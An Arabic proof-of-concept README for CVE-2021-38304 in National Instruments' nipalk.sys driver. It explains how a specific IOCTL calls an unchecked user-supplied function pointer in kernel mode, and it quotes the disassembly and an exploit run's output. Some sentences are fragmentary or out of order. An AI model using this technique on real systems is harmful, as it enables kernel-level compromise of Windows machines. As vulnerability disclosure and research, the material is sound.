
CVE-2021-38304 إثبات المفهوم
يحتوي هذا المستودع على إثبات مفهوم لثغرة أمنية حرجة في الإصدارات الأقدم من برنامج تشغيل National Instruments nipalk.sys. تسمح هذه الثغرة بتنفيذ تعليمات برمجية عشوائية وكشف للذاكرة في وضع النواة. وهو مخصص لأغراض البحث الشخصي فقط.
يقوم برنامج التشغيل nipalk.sys بمعالجة غير صحيحة للمؤشرات المقدمة من المستخدم أثناء معالجة طلب IOCTL محدد. تمكن هذه الثغرة المهاجم من توفير مؤشر دالة سيقوم برنامج التشغيل باستدعائه في سياق النواة مع معاملات خاضعة للتحكم.
RCX و RDX أثناء استدعاء الدالة.RtlCopyMemory، يمكن للمهاجم قراءة ذاكرة نواة عشوائية.تنشأ الثغرة من فشل برنامج التشغيل في التحقق من المؤشرات المقدمة من التطبيقات في وضع المستخدم. أثناء معالجة IOCTL 0xABCD03C4، يسترجع برنامج التشغيل مؤشر دالة من بنية يتحكم فيها المستخدم ويستدعيه دون فحوصات مناسبة:
0045561e 48 8b 01 MOV RAX,qword ptr [param_1]
00455621 49 8b 52 18 MOV irp,qword ptr [R10 + 0x18]
00455625 ff 50 08 CALL qword ptr [RAX + 0x8]
[RAX + 8] في سياق النواة.RCX و RDX يتحكم فيهما المستخدم.[+] Starting exploit
[+] Memory allocated
[+] Values before IOCTL:
exploit->dummy: 00000000001b0000
exploit->function_pointer: fffff8017ea21300
[+] Device opened successfully
[+] Sending IOCTL
[+] Values after IOCTL:
exploit->dummy: 7208f88349c18b48
exploit->function_pointer: ffff7710f8834937
[+] DeviceIoControl succeeded. Bytes returned: 8
[+] Buffer Output: 1769472
[!] WARNING: exploit->dummy has changed!
[!] WARNING: exploit->function_pointer has changed!
[+] Exploit finished
إثبات المفهوم هذا مخصص للأغراض التعليمية فقط.